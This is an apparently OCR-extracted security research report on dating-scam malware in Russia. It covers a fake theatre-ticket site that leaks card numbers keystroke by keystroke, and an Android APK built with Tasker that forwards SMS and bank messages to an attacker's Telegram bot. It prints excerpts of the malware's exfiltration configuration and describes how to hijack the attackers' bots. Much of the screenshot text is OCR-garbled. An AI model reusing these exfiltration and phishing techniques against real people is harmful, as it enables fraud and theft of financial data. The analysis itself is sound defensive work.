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This document was created for informational purposes only and
is intended for security analysis specialists who analyze the
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company. The author is not responsible for any harm caused by
the use of the information provided.

The spread of malware and disruption of systems are
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Scammers and hacker groups proceed to exploit human vulnerabilities
to target internet users. Every year, the number of victims rises rapidly,
and the attacks become more sophisticated. The threats are particularly
prevalent in services designed to deal with loneliness and reach a peak
during holidays when people are most likely to feel lonely.

It's undeniable that the issue of loneliness is becoming more pressing
and critical every year, to the point where it can be described as an
epidemic. While online dating can provide a solution, new methods of
attack are emerging as technology advances. Unfortunately, attackers
will certainly take advantage of any technical opportunities and human
vulnerabilities to achieve their goals.

It has become interesting for me to look at the technical aspects of the
structure of elements used in attacks on users that have recently been
discovered in online dating, dating bots, and applications. | would also
like to remind you about the techniques that attackers use to gain trust
and sympathy, as well as the principles of minimizing risks for users.
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HAHACKING

BASELINE

This section discusses the conditions under which the study
was conducted. We discuss how we, as a society, got to this

point and who & where is more likely to become a victim.

BASELINE

LONELINESS EPIDEMIC ©

In today's world, people are exposed to a wide range of different factors
that directly affect the quality of their social interactions and,
consequently, satisfaction of one of the most fundamental human needs.
The increasing amount of time that sometimes just needs to be spent on
a phone or a laptop, the lack of an urgent need to visit public places as a
result of the development of various delivery services, a culture of
proactive self-care that can easily cross the line and turn into
glorification of egocentrism and rejection of society in favor of oneself, ...
— all these are aspects of everyday reality that certainly leave a mark
on every member of the generation.

Loneliness is a major topic of social research and, as a significant
problem affecting the entire world, it also affects Russia. For example,
here are some alarming excerpts from a scientific study done by the
Higher School of Economics on Russian residents experiencing pressure
from loneliness:

It turned out that over 43% of Russians experience loneliness in some
way or another. <.> Youth is not a barrier to loneliness, either.

Approximately one third of 14-29 year old Russians face this issue.

Source: HSE
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BASELINE HAHACKING
LONELINESS EPIDEMIC

And here are the statistics on people living alone - those citizens who live
independently, as part of a "household" consisting only of one person, according
to the Federal State Statistics Service:

Kak meHanacb fons oguHOKO NMPOXXHUBaIoOWUX
poccuUsiH

% OT obLero yucna cemen, NO pesynsTaTam NepPennucen HaCefcss

1994* 2002 2010 2015* 2021

* B 9TW rofibl NPOBOAMNMCE MUKPOMNEPENWCKU HAaCeNeHna, OXBaThIBalOWME He BCe
HaceneHwe, a penpe3eHTaTUBHYIO BbIDOPKY.

AcTouHUK: pacyeThl skcneptos @HUCL PAH no naHHbIM nepenucei
HaceneHws PoccTtaTa

More than 40% of households in Russia are single-person households,
and their proportion has doubled in the last 20 years, according to the
census. <..> Among the reasons for the increase in the number of
single-person households is late marriage. <..> The predominance of
single-person households was recorded for the first time in the
history of population censuses in the Russian Federation.

Source: RBK Daily
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BASELINE HAHACKING
LONELINESS EPIDEMIC

Some people find comfort in loneliness. Nevertheless, it cannot be
denied that the dragging feeling of loneliness is the body's
response to the dissatisfaction of a need and by definition cannot
be pleasant. It is a gnawing feeling designed to push a person to a
well-defined action - social interaction. With the advent of this
feeling, any, even conscious, solitude ceases to be healthy. And
everyone who has experienced loneliness knows that it is difficult
to cope with it on your own.

The number of factors contributing to the problem of loneliness is
increasing, and as a result, the number of online services
designed to fight loneliness, ranging from online dating
applications to content subscription services, and the number
of people who resort to using such services has also grown:

The Best Year for Dating Apps

Est. Downloads - Top Dating Apps - App Store + Google Play

32M

30M

28M

26M

24M

22M

20M

18M

Q1 2019 Q12020 Q12021

Dating App Downloads Explode After Years of Stagnation
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BASELINE HAHACKING
MY MALE IDENTITY &

According to researches conducted by analytical centers, more
than 2/3 of young people in Russia have registered on online
dating websites and mobile applications, and 1/4 are currently
using them.

Despite the fact that researches on loneliness show a similar
gender distribution in the results, men still prevail among users of
dating services. For example, The Russian dating app called
"Mamba" reported that more than half of its audience are men.

This is also reflected in the statistics of another popular dating app,
Tinder:

a7 mmdi o T

Tinder Gender Imbalance

Male Female Non-binary

Worldwide 75% 1%

Us 65% 1%

Europe 49% 3%

UK 56% 2%

7% 0%

100%

Tinder gender ratios, as of May 2023
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BASELINE HAHACKING
MY MALE IDENTITY

Compared to women, men are more likely to like a person instead of
passing on them, and they are also less likely to receive mutual likes:

The Experiences of Men and Women on Tinder

Women match with 36% of those they like while men match with less than 2%

B Like & match [ Like, but no match | Pass

Female

Swipes

Source: Swipestats.io

Swipestats.io

Despite being far more selective, women still match
more frequently than men on Tinder

This is also why men are more likely to be victims of online dating scammers:
posing as a beautiful girl, it is easier for the attacker to establish a
communication channel, since the likelihood of being swiped left
decreases, it is easier to win over and gain trust in order to carry out
additional actions (make user interact with a website, install an application,
execute a file with a malicious payload in it ...).
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BASELINE HAHACKING
MY MALE IDENTITY

To take a closer look at the situation, | created Nikita and registered him on
various social media platforms, messengers and dating apps, added him to
relevant groups and launched chatbots:

« 8 Q

Hukuta Tak BbIFNAAUT TBOA aHKeTa:
B CceTH : I

AKKayHT
+7 ()

HaxmuTe, 4yTobbl U3MEHUTE HOMEP TenedoHa

@

Mma nonb3oBaTtens

Capricorn, 24, MockBa

0 cebe

| Hukuta, 24, Mockea — MpueeT

. Cpasy k nieny , naBau cxoaum
Kyna-Huoyab) MNpepnaran, a A
NMOKPOK pacxombl

Full name

Gender

Age 24 years old
Date of birth Jan 13, 2000

City Moscow
Phone number +7 (% * *) * % * *
E-mail address * % x %k @ % x *
Nickname @ * * % * %
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CASES

During the week of pretending to be a non-existent young man, | often
swiped to the right and liked other users of each of the mentioned services,
but | intentionally did not initiate any conversations (*It turned out that
Telegram limits one's ability to send messages first if they have a virtual
number linked to their account: which means | missed out on several
potential attackers and harmful links/files)

Despite the lack of initiative on his part, Nikita received messages from
several women. Most of these messages turned out to be malicious. The
material they distributed became the basis for my research project.

The situations described below demonstrates the current state of affairg
regarding malware in online dating, and provides information on:

Social engineering techniques

Technical features of each sample
Conseqguences for victims

Information on detection of malicious activity
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CASE /1

HAHACKING

CO\ Movie session + the theft of payment information;

D

CASE #1

WEBSITE INTERFACE

The first girl offered to meet and go to the theater, and even showed a
website where tickets could be purchased. This is a common scenario
for scammers who prey on people looking for dating, but despite its
popularity, it continues to expand beyond the borders of Russia.

The website's domain
name is short and
catchy, except for the
fact that the top-level
domain =" .online “.
The website pages
look professional: with
widgets for contacting
support and
requesting a callback,
information sections
and news. There is
even a warning about
fake lookalike
websites:

TPV TOBAPHLLA
0 YEM MOJIYHT BAVIET, 18+

X

Nopgaepxka dyHKUMOHUpYeT ¢ 11:00 no
MCK. 3apaiTe cBOH BONPOC K
obAsaTenbHo ykaxuTe Bawe GKO.
JoxauTeck oTBETa onepaTopa

° PEKOMEHAIYEM

OCTEPETAWTECb CAUTOB-[IBOMHNKOB 1

MOLUEHHUKOB!

(© 19 fexabps 2020

O OdmumansHas nHpopmMauma

«locypapcTBeHHbIA ApaMaTUYecKWii TeaTp

«ﬂpaMaTHHECKHﬁ TeaTp» COOGI.I.laeT. YTO Mbl MMeeM
ToNbKO OAUH opULMANBHBLIA CaUT NO AaHHOMY

agpecy.

«:,El,pamaTw-lacm-iﬁ TeaTp» He MMeeT OTHOLWEeHWA K

TeaTpy onepbl 1 BaneTa B MockBe W K caiTam
www.tobaleta.ru theatrdramoru u teatrsatira.ru

PyroBOACTBYACH CTaTbaMK 779, 780, 782

MpampaHckoro kKofekca PM, 3akoHom PO ot 07.021992

N2 2300-1 (pen, ot 18.07.2019) «O 3alimTe Npas

notpebuteneis, «ApamaTUHeckuii TeaTps HE MMeeT
BO3IMOMHOCTH OCYLLECTENATE BOZBPAT AeHEMHBIX
cpefcTe 3a BuneTol, NpUobpeTeHHbIe Ha canTax
www.tobaleta.ru theatrdram.ru v teatr-satira.ru.

o ocmpo'»m bi!
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CASE #1 HAHACKING
WEBSITE INTERFACE

The site provides a list of upcoming performances, where you can place
an order for tickets. After previewing the partially filled hall plan, you
can select the seats:

BriGop mect OdopmneHve 3aKkasa

2100F 24008 ZT700F 3000F 3600P 4000P
— — — — Cnocob nonyYeHua

."“ P gsoo L 3r POHHBIA GUAeT
M0 MOTVBAM TPATEWH YANbAMA LUEKCNMPA ]
UKOPONb NKPN Cnocob onnatel

TPATHKOME/IHA, 18+ ' Ba

KYNHTb BHNET

MWrore: 1 6uner(a) | Ha cymm

Wma u pammnama

eau Meauvor

TenedoH

NPOAONKUTE

PeMuccep-NOCTAHOBLUMK — K WM Boromonocs

KyAomHUK-NocTaHoBLMK — 1 NomakuHa MHOH NPY ©

OBMAX 1

J ML ENBCKUM COFNELLEHIAEM
/0 TRAreAMIo Yunbama Wekcnupa «Kol BbIEEPMTE MECTA FIDABSOBSIEAREXMMICRFASELIE IS
J PHETaHTUH Boro Wn B Yep™

The first red flag: the order page. The executable script has a typo in the

name (ordening.php), unquestionably accepts the price from the amount
request parameter and explicitly processes promo codes ( CLUB15FREE and
NEWYEAR15 are available):

()] ordening.php?pa..mount=3600&c=1 X

—
Wiwwwwww
O~ B W

) D

=
=
Ll =)

142
143
144
145
146
147
148
149
150
151
152

52
- e |

<script>
promo = 0:
$( '#promocode' ). focusout(function(e) {
1f ($('#promocode’).val() == 'CLUB15FREE"') {
f (promo < 1) {
$( '#total-cost').text($( #total-summa').text() * 0.85);
$('#ams').val($( '#ams').val() * 0.85);
$("#promocode").css("color", "green");
promo = promo + 1;
iy
by
1T ($('#promocode').val() == 'NEWYEAR15') {
1T (promo < 1) {
$('#total-cost').text($('#total-summa').text() * 0.85);
$("#ams').val($( '#ams').val() * 0.85);
$("#promocode").css("color", "green");
promo = promo + 1;
i
}
P

{.’3r_|.§|’_1'_> 13
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CASE #1 HAHACKING
PAYMENT INTERFACE [

Payment process includes a redirection of the user to another domain,
which has the substring "3-DS" in it, causing an association with 3-D
Secure online payment technology. This time, the top-level domain is

“ 1]

S 1
This interface provides the YO money
user with a variety of
payment options: Onnara 3akasa

MpomceasbbaHK (Kewbak 10%)
MepenTn

TuHbKOG D
MNeperTH

Anbda
MepenTn

CoepbaHk
MeperTn

Apyrue 6aHkn
MepenTK

o

The redirection to the next
interface depends on the
chosen payment method
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CASE #1 HAHACKING
PAYMENT INTERFACE

Cymma 3600¢ The second red flag:
in the case of the Faster
IFErEEE RS GO e Payments System, users are

pPeKBM3MTaM

asked to make payments
themselves, using the

> C6I'I phone number or card

CHCTEMAl EICTRED: details provided on the
L TTT—— webpage. These details are
. updated approximately
e once a day.

04:55
OcTanocs BpemMeHm Ha onnaty

Aonnatin

If the bank is selected, a
form for entering a card is
displayed in front of the
user. On click of the
payment button, the script
verifies the filling out of the
form and the prefix of the
inputted card number. If
the required conditions are
met, it shows an animation
of establishing a
connection with the bank:

Moxanyiicta He nepesarpyxaiiTe cTpaHHLy!

YcTaHaBnveaem coefjMHeHWe C BalMM DAHKOM...
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CASE #1 HAHACKING
PAYMENT INTERFACE

The third red flag: if you look at the output of the developer tools, you
will see that the payment information entered by the user is sequentially
sent to the server as a bin request parameter as the keys are pressed.

q : . VISA MWP

maxismo

Homep kapThl

123456789

Cpok aeicTeMA

f[__g‘ £} Inspector Console ([ Debugger 4 Metwork {3} StyleEditor () Performance { Me
ﬁ ﬁ ' + Q 0 ¥

Al HTML €55 J5 XHR Fonts Images Media WS Other

L Method = Domain F Si
SET lex.php?bin=1 38 B
SET dex.php?bin=12 388
GET wdex.php?bin=123 388
GET ndex. phpThin=12345 38 B
GET wdex.phpbin=123456 38B
GET ndex.php?bin=1234567 388
200 GET 1dex.php?bin=12345678 38 B

This looks like a harmless check of a bank identification number, but in
this case the script is not limited to processing the BIN. The technique
provides attackers with an additional way to extract the entered
information. Even if the user becomes suspicious and changes their mind
about clicking the payment button, their keystrokes will still be logged
and sent to the server, and may be found in its logs.
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CASE #1 HAHACKING
TICKETS GENERATION [}

The fourth red flag: iterating through the endpoints
leads to the discovery of a list of paths that cannot
be found in the links among the frontend.

Request Response

Raw Hex b = Pretty Raw Hex Render
1 POST fsuccess.php HTTP/2

3ABEPLUEHWE NMNATEXA

Mo3gpaenaem ¢ yoa4yHol NOKYNKoi
q=0.9, inage/ JEf%qmD. B Aap YA 4
5 Content -Type: ication/x-www-form-urlencoded BepH)THCR B &
& Content-Length: 220

3NeKTPoOHHLIH Buner

DR S0

by

R [P AMATHYECKMA
) TEATR

TenedoH Homep sakaza: 478833492
Dara & Bpema: 23.05.2024 B 13:37

Yenyra: "Cnektakne «4enosek 13 Nogonbckas - PAg 1,

MecTto 1"
lopog

The main one among them is the
/generate path, which leads to
the ticket generation interface.
The attackers took care of their
Nara nokasa , accomplices by developing a
20.02.209% 4 form that generates electronic
receipts in one click, and
provided instructions on how to
use it and reap the full benefit.

®

BbibepuTe pag

BoibepwuTe pan

Bpemsa nokasa

CTEHEPUPOBATb

KAK C 3TUM PABOTAT

In the end, the resource was
blocked on the territory of
the Russian Federation.
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HAHACKING

H 2

(Q A date + the theft of messages from banks; @)

CASE #?2

BACKSTORY (2

Me and the second girl met on
a dating app. She was the first
to express interest and the first
to initiate contact through
private messages. After some
time, she suggested switching
to Telegram and wrote me her "

nickname, saying that the IR
messenger was much more _ | o
more convenient for her. :

Among other things, she ran a
personal Telegram channel.
On this channel, she promised

tO Share her phOtOS (prOVIded ,ﬂ,py3bﬂ, MOXKeTe B 3TOT KaHan No3BaTh CBOWMX
that her subscribers invite their APY3eW, A Torfa Mory BbIOXUTb HOTKK),

: S | Korpa HabepeTca 154enoBek, KTo 3a, CTaBbTe
friends to join the channel) and || Ha 9T0 COOBlLiEHVE CEpAENKD

posted APK files: a poetry [F™E
application and a chat, where, |

as she assures, she spends a
lot of time.

f Bot TakK

The files "BoTr mou cTtuxmu.apk" and "3HakomcTBa 18+.apk" are the same size.
Upon closer examination, it turned out that the applications contain the same
functionality, with a slight difference in appearance. Therefore, | will only
analyze one of them in more detail.
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CASE #2 HAHACKING
THE FIRST GLANCE &

The 3nakomcTBa 18+ app requires the following hardware
capabilities:

e android.hardware.faketouch
e android.hardware.telephony

It also works with the accessibility component.
The app icon depicts a heart:

application: label='3nakomcTea 18+' icon='res/drawable/hd_aaa_conv_a.png'
uses-library-not-required: 'org.apache.http.legacy’
launchable-activity: name="net.dinglisch.android.taskerm.Kid' label='" icon=""'
feature-group: label=""
uses-feature: name='android.hardware.faketouch’
uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps
uses-feature: name='android.hardware.telephony’
uses-implied-feature: name='android.hardware.telephony' reason='requested a telephony permissi.
provides-component: 'accessibility’
main
other-activities
other-receivers
other-services
supports-screens: 'small' "normal’' 'large' 'xlarge’
supports-any-density: 'true’

transparent .png
sb.png
warning.png

< cea7zl £, CO609g £, C0918e &, co921h res/drawable/hd_aa

am TActory stub_drawable.xml
hd_aaa conv_a.png
hd_aaa conv m_in.png
hd_aaa conv m_out .png
hd_aaa_ext eyvement .png
hd_aaa e anchor.png
hd_aaa ndroid.png
bl ass eyt armchair nnn

The requested rights in accordance with AndroidManifest. xml:

android.permission.CALL_PHONE android.permission.RECEIVE_BOOT_COMPLETED
android.permission.DISABLE_KEYGUARD android.permission.RECEIVE_SMS
android.permission.DRAW_OVERLAYS android.permission.SCHEDULE_EXACT_ALARM
android.permission.EXPAND_STATUS_BAR android.permission.SEND_SMS
android.permission.FOREGROUND_SERVICE android.permission.SYSTEM_ALERT_WINDOW

android.permission.INTERNET android.permission.VIBRATE
android.permission.QUERY_ALL_PACKAGES android.permission.WAKE_LOCK
android.permission.READ_CALL_LOG android.permission.WRITE_CONTACTS
android.permission.READ_CONTACTS android.permission.WRITE_EXTERNAL_STORAGE
android.permission.READ_EXTERNAL_STORAGE android.permission.WRITE_SMS
android.permission.READ_PHONE_STATE disabled_android.permission.READ_CALENDAR
android.permission.READ_SMS disabled_android.permission.WRITE_CALENDAR
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CASE #2 HAHACKING
THE FIRST GLANCE

.dinglisch.android.taskerm.Kid,
.dinglisch.android.taskerm.ProxyTransparent,
.dinglisch.android.taskerm.DummyActivity,
.dinglisch.android.taskerm.SceneActivity,
.dinglisch.android.taskerm.SceneActivityResize,
.joaomgcd.taskerm.genericaction.ActivityGenericAction,
.joaomgcd.taskerm.genericaction.ActivityGenericActionForResult

.dinglisch.android.taskerm.ExecuteService,
.dinglisch.android.taskerm.MonitorService,
.dinglisch.android.taskerm.MyAccessibilityService,
.joaomgcd.taskerm.plugin.ServiceRequestQuery,
.joaomgcd.taskerm.plugin.ServicePluginFinished,
.joaomgcd.taskerm.genericaction.ActivityGenericAction,
.joaomgcd.taskerm.genericaction.ServiceGenericActionJobs

— net.dinglisch.android.taskerm.ReceiverStaticAlwaysOn
(net.dinglisch.android.taskerm.WILLYUM, net.dinglisch.android.taskerm.AWAKEY,
android.intent.action.BOOT_COMPLETED,
android.intent.action.PACKAGE_ADDED,
android.intent.action.PACKAGE_REPLACES,
android.intent.action.PACKAGE_REMOVED,
android.intent.action.MY_PACKAGE_REPLACED) ;

— net.dinglisch.android.taskerm.ReceiverStaticInternal
(android.intent.action.DATE_CHANGED,

android.intent.action.TIME_SET,

android.intent.action.TIMEZONE_CHANGED, net.dinglisch.android.tasker.SMSEY);

Also, the value of android:versionName in the AndroidManifest.xml
contains a curious structure that indicates the name of the team, the user's
displayed name and nickname, and the Telegram chat ID.

AndroidManifest.xml

b =
|
!
!
L
!
L
!
1
!

1
L
%
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CASE #2

TASKER &

HAHACKING

The code obtained after decompiling the APK was
heavily obfuscated, but it had the following features

e File management:

public fimal b.a.l=cr= a{Context context, InputOpenFile InputOpenFile) {

g, (r
inputOpenFile,
e.b.flo857

public c(ExecuteService executeService, net.dinglisch.android.taskerm.c cvar,

Bundle bundle, a av
= . cvar, bundle, avar);

MotificationCompat.CATEGORY SERVICE) ;

.getFile
ar.getMimeTypel
ith.nl), true, true, false);

Intent a4 = at.
if (1a2 || new

return b2;

..many other functions, including
screen recording, creation of
WireGuard tunnels, command
execution through  Termux,
interaction with Google Drive,
and more;

nshell,

I
[impu

2 & MotificationCompat.F
return az;

ik

public final b.

K . alcontext, new
frrorh, j : 2 is.f7702d) ). b(], TimeUnit.
d.g

tring &;

Bundle bundle;

Bundle bundlez;

c.f.b.k.blcrvar, *r

if (tervar bundle2 = p.this
f77111) 1= mull) {

bundlez.putString(p.this.f7710e, crvar.a
if (crvar instanceof
t dz2 = (lc var).d();
instanceof OutputRunshell)

futputRunshell) dz {
bundle = p.this.f7
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CASE #2 HAHACKING
TASKER

All these features turned out to be the capabilities provided by Tasker
- a problem-oriented scripting language for creating Android
applications that would perform certain actions based on context and
conditions. It allows users to automate tasks without the need for
manual programming.

Here is a list of other classes marked as
@TaskerOutputObject in the analyzed application:

earch for text:

i @TaskerOutputObject]

Search definitions of: Search options:

Class | | Method | _|Field [vICode | |Resource | | Comments Case-insensitive | | Regex | | Active tab only

Node
com, jeaomged. taskerm. action. net,HTTPResponseOutput varPrefix =
com. jeaomged . erm.actien.net.OutputNFCTag f arOut varPrefix
com, Jjoaomgcd. .action.system.QutputADBwif1 @ varPrefix ’ )
com. Jeaomged. Laction, em.OutputhctionAccessibilitySer. .. utp varPrefi OutputAnySensor . VAR_PREFIX)
com. joaomged . .action em. OutputActionds ibilitySer erOutpu varPrefix 0|_|tput.!mJI 5 VAR_PREFIX)
com, Joaomged. taskerm. action. system. CutputActionAdmin askeroutp et {varPrefix a")
cam. jeaomged . cerm.action. system.OutputShorteut utp varPrefix
. joaomgcd. ta: ent.app.OutputAssistantAction
joaomged. taskerm. event.app.O Wutput..-ﬁcﬁnd.ar:,r.llppl.lpenﬁd
.Joaomgcd. taskerm. event.media. QutputMusicTrackChanged askerOutp varFrah:
joaurnqn:d. =rm. d .OutputHttpRequest varPrefi
.OutputietworkChanged arPrefix
net, outputh 8 ) g DU varPrefix
jnanmg-.d. .sensor . Output 1fi
com. Jeaomged . tasker .system.Output £
com. Joaomgcd . taskerm. e .system. OutputDeviceUnlock r-dFallEd
.Joaomged. .event.system. OutputLogCatEntry t varPrefix
.Jeaomgcd. ta: .event.system. OutputTick utpu varPrefix
.Jowaomged. .function, OutputGetSims
jo-;mrng .taskerm. funetien. utputStopvibrate
'Imom-'ll .taskerm. function. QutputTermuxCommand
.taskerm. function. CutputWal tForFi leEvent utp varPrefix
-d. taskerm. function. OutputWireGuardSetTunnel utp varPrefix =
.function.Throttledhotification ) varPrefix
rm. google . language . OutputanalyzeSentiment 1 varPrefix
eechtotext, QutputRecognize 3= oL ctivarPrefix
vision.CropHint ut varPrefix
.taskerm. a.vision.Face : ] varPrefix

Additionally, a version of Tasker that was used by the developers of the
application was discovered to be Tasker(6.1.32)_marketNoTrialRelease:

Search for text:
ir Tasker{[\.0-9]+\)
Search definitions of: Search options:

Class | Method | Field [+ Code | |Resource [/ Comments Case-insensitive |+ Regex | | Active tab only

Mode
static fipal / A Jagl] f alne [ ¥, “Tasker(6.1.:
static final / h ¢ 3 E { [ : uskertr 1.32) |
static final - al k
nericaction.e static final /
ricaction.i static fimal /
static fimal /
static final /
rm.signin.d static fimal /
rm.state.1 static fimal /
rm. tether.ab static final / -. N
) static fipal / . j. f f.b.x.al e f.b. [ i, “Tasker(6.1.32)
static final / ¢ f i f 57 z.f.b.x. . tle.f. .class Taslu;rtb 1.32)
static final ] Ju - o 4 rkS.1.32)
static final / 3
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CASE #2 HAHACKING
TASKER

As a result of my research into the features of Tasker (/ intended to learn
more about analysis methods, deobfuscation methods or other source
code recovery options specific to applications created with Tasker), |
found out that during the export of the APK, Tasker includes an XML file

assets/kid/data.xml within the application, which contains all the profiles,
scenes, and tasks that the project requires.

Tasker XML Export Types
Tasker supports 4 types of XML exports.

Data Backup [t contains the entire tasker config with all profiles, scenes and tasks.
e :
Gii>omggker Options In Tasker Home Screen -> Data -> Restore -> User Local Backup
Export Instructions 1: T Options In Tasker Home Screen -> Data -> Backup
Export Instructions 2: ask Action Tasker -> Data Backup

Project It contains all profiles, scenes and tasks that are referenced in the project that is exported from the
tasker config. Basically if you are exporting project 1, then the exported XML file will contain all profiles, scenes
and tasks that are inside project 1 in the tasker config. Additionally, it will also contains profiles, scenes and tasks
from projects other than project 1 that are referred or called by project 1 in some way. This automatically creates
a standalone project file and does not require the users to export/import multiple projects. Tasker exports
everything that is required for a user to run the project.

g Press Anywhere On Bottom Nav Bar In Tasker Home Screen -> Import Project

Info on how Android Tasker App XML files work

®

Most importantly, these files can be used to
import a project back into Tasker
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CASE #?2

TASKER

HAHACKI

\[e

Indeed, an attempt to import a project from the file assets/kid/data.xml ,
which was extracted from a malicious application, was successful, and it
became possible to view a list of profiles, tasks, scenes, and variables in a
user-friendly GUI format:

912 @ i gn o G4 804 © P

Tasker x Tasker s Tasker .
v Qo Q v Qi

_ Off Off

PROFILES ASKS SCENES VARS PROFT '8 TASKS 5 NES VARS PROFILES TASKS 80 /8 VARS

BoiknioueHue
MonyyeH 3BoHOK (apyroe)

CMC e oTnpaBneso

Monyvexo CMC (gpyroe)

Monyyex aeoHoK (CHep)

Moenyvexo CMC (Céep)

1o CMC or

Peaxuua Ha CMC (.

YeegomneHne o BeIKNIg4eHHH
OTKPbBITHE NPUNCHEHWA
CNALMA pesnm

Meneamep Kpaxwn hannos
OwwmbKa npu oTnpaexke CMC
Peakuwa Ha CMC (Coep)
Nomexu

Crapr

INGEHED: REFERERCED
%0aYacrora

HACTIVATION

BADMINCHATID

BALLSETTINGS

%WAPP

%EALANCE

%BALANCET

%BALANCESEC

Momexun

Scene Ed
TekeT:23,

NocTep
BELACKMAIL

Peakuwa Ha CMC (apyroe)
e %BLOCKER

Peakumna Ha asoHok (Chep) EUND

ANrOpUTM Kpamu hainos

HGCALLSCHATID

One of the scenes is just a blatant user agreement:

WMcnoneays gaHHoe nporpaMmmHoe ofecnededue (npunoxexune “%APP"),
noNb30BaTeNt NOATBEPHAAET, YTO OCO3HAET BCE CBA3AHHLIE C HUM PUCKK M YTO
HE UMEeeT NPeTeH3MI B CBA3W C BOSMOMXHbIM HEBBINONHEHWEM / MCKaMEHWeM
3aABNEHHbIX 3334 W hYHKLWA NPUNOMEHWA, PACKPEITUEM KOHBWASHLWANBHO
WHBOpMaLMK, a Takxe NoTepel AeHeXHbIX CPEACTE B KakoM 6kl TO HW 6kINo
o6bEme u Buge. Bce MaHUNyNALMK M eACTEMA OCYLLECTBARIOTCH NONL30BATENEM
Ha CBOI CTpax 1 PUCK.

Mpu MCNENLE30BAHMK NPUNOKEHXA MOMET NPOMCXOANTL NOCYTOYHasA onnaTta

no6poBCNLHOR NOANKUCKK (NOXEPTEOBAHKE).

PaspaboT4iK He HECET OTBETCTBEHHOCTH 38 HEO3HAKOMNEHHWE NONL30BaTeNA
HACTOALLWMM COrNalleHHeM W He 06A3aH KOMNEHCUPOEATE WM BO3MELATE

BOSMOMHbIE YBbITKM M KOMMPOMETALMWID NHYHBIX JaHHBIX.
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CASE #2 HAHACKING
TELEGRAM BOT &

Tasks, such as responding to a call or SMS, involve sending notifications
about events to scammers via a Telegram bot. This can be seen both in
the tasks themselves and in the variables: among them, you can find
variables that store values of the Telegram bot token and chat IDs.

Interestingly, thanks to this token, it becomes possible to control the
bot of attackers: for example, to download all of its dialogs and to

disclose Telegram accounts that launched this bot. Telegram Bot

Dumper — one of the tools that can simplify the task in case of finding
such a token.

949 © O £ 950 @ © 4 251 9 O )
Task Edit B Action Edit . Action Edit
Peakuua Ha CM.. 0 a v & 214, HTTP Post O @ ¢ & 215. HTTP Post o O

F Post

Server:Port https:/fapi.telegram.org Server:Port Server:Port

https://api.telegram.org

https://api.telegram.org
%sms ~ CAMCOK NOAKNIOYEHHBIX KapT+ |
207, Variable Search Replace
Variable %sms Search \d{4}{7=\s)
208 Variable Search Replace
Variable %sms Search (Te=\(\w+(...
. For
riable %index Items 1:%card...
0 If

> {"parse_mode": "Markdown}

“statuses(windex) eq ekn & %reque.. |
211, Variable Set
Name %request To true

Cookies

Optional
217 Variable Set
Name %SMSREQUEST To

User Agent

Optional

Number 900

14 HTTP Post
Server-Port https:/fapi.tele...

Timeout

|:'_;§ Send SMS
|

215 HTTP Post

®

= Content Type At the time of publication of the

article, the bot token was reset
by its owner and is no longer
available for interaction.
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CASE #2 HAHACKING
TELEGRAM BOT

n sr="act38"ve="7"> < fAction?
<on>false<fons <hction sr="act56"ve="7">
<S5tr sr="argd"ve="3">ZTOKENZ/Str> <S5tr sr="argd"ve="3">ZTOKENZ /Str>

<5tr sr="argl®ve="3"3 <5tr sr="arglve="3"> < fS5tr>
<Int sr="arg2"val="0"/> <Int sr="arg2"val="0"/>
<Int sr="argli“val="0"/> <Int sr="arg3“val="8"/>
<Int sr="argd"val="8"/>» <Int sr="argd"val="8"/>
<Int sr="arg5"val="3"/> <Int sr="arg5~val="3"/>
<Int sr="argb"val="0"/> <Int sr="argb"val="8"/>
<code>547<fcode> <code>547<fcode>
B < /Action> <fAction>
ll <Action sp="act39"ve="7"3 <Action sr="act57"ve="7">

<on>false</on> <5tr sp="argd"ve="3">Xchatid</5tr>
<Str sr="arg@"ve="3"»Xdataserver</Str> <5tr sr="argl™ve="3"> </ 5tr>
£5tr sp="argl"ve="3"} <Int sr="arg2"val="0"/>
<Int sr="arg2"val="8"/» <Int sr="arg3"val="08"/>
<Int sr="arg3"val="8"/> <Int sr="argd4"val="8"/>
<Int sr="argd”val="6"/> <Int sr="argS-val="3"/>
<Int sr="arg5"val="3"/> <Int sr="argb"val="@"/>
<Int sr="argb"val="@"/> <code>»547<fcode>
<code>547</code> <fAction»

<fActiony <Acti sr="act58 " ve="7">

<hction sr="actd@"ve="7"> <sexfalsed/se>
<on>false<fons <5tr sr="arg@”ve="3">https:/fapi.telegram.org</Str>
<5tr sr="arg@"ve="3"»X¥dataserver</Str> <5tr sr="argl"ve="3">bot%TOKEN/sendMessage?chat_id=%chatidiamp;text=@ Ci
<Int sr="argl"val="25"/> o%aa‘ma(hn,qauue wugopMalme o Banamce.</Str>
<Str sp="arg2"ve="3">»Xdataserver</Str> £5tr sr="arg2"ve="3"/>
<Int sr="arg3"val="8"/» <5tr se="arg3"ve="3"/>

0 [e-9]{6,10}:[a-zA-Z0-9_-]{34,35} ¥ Ag w»nw (= #3% [ [e-9]{6,18}:[a-zA-Z0-9_-]{34,35}

The parameters "Komanga" ("Team"), "Huk " ("Nickname") v "yar_ID " ("Chat_ID"),
which are located in AndroidManifest.xml file inside android:versionName
parameter, are used exactly within this specific module of the malicious
application. The application includes the values of these parameters in the logs
sent by the bot to the chat with the administrator, apparently for convenient
attribution of events and comparison of results of commands and individual
subordinates within each team.

The division of chats into
"worker" and "admin" chats,
along with the need to specify
the team's name, leads to the
idea that a user with
administrative privileges
receives information from
multiple teams
simultaneously.
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CASE #2

LICENSE VALIDATION &°

HAHACKING

The "Crapt" / "Start" module, which is responsible for deploying the
environment, performing a set of actions with the launch of this malicious
application, such as initializing parameters and configuring a connection

to the C2 server, also implements verification of a license and a hash

e The expiration date, licensedate, of the license is compared with
the current date;

e The money mule's hash cardhash1

, received from the server, is

compared with the cardhash2 which is calculated by multiplying

the substrings of the money mule's card number CARD ;

 Edit O o B

N.J!r"e %LICENSETEXT To go %lic...

236, Parse/Format DateTime

Input Type Custom Input %licens...
137. Variable Set

Name %LICENSE To false

i |

=
=
H

If %err Set |

236 Variable Set
Name %day To %dt_day_of_month
able Set
'ame %month To %dt_month_of_...
240 Variable Set
Name %year To %dt_year
241. Variable Set
Name %hour To %dt_hour_of_day
742 Variable Set
Name %minute To %dt_minute_of...
243, Parse/Format DateTime
Input Type Now (Current Date An...
244 Variable Set
Mame %LICENSE To false
wdt_year > %year | %dt_month_of_year..

SRE.

9218 & ©

4l

Task Edit .
Crapr @ 2B

| 5. End If

LH0

Perform Task

Name Moctep Parameter 1 (%par?) { ...

If %DEBUGCHATID neq false |

247, Perform Task

| 3

Name Moctep Parameter 1 (%pari) {...

If %LICENSE eq false |

> 4

%HACKING Set & %LICENSE Set I

49, Variable Set

Name %report To *5)' = Banomn...

1. Variable Set
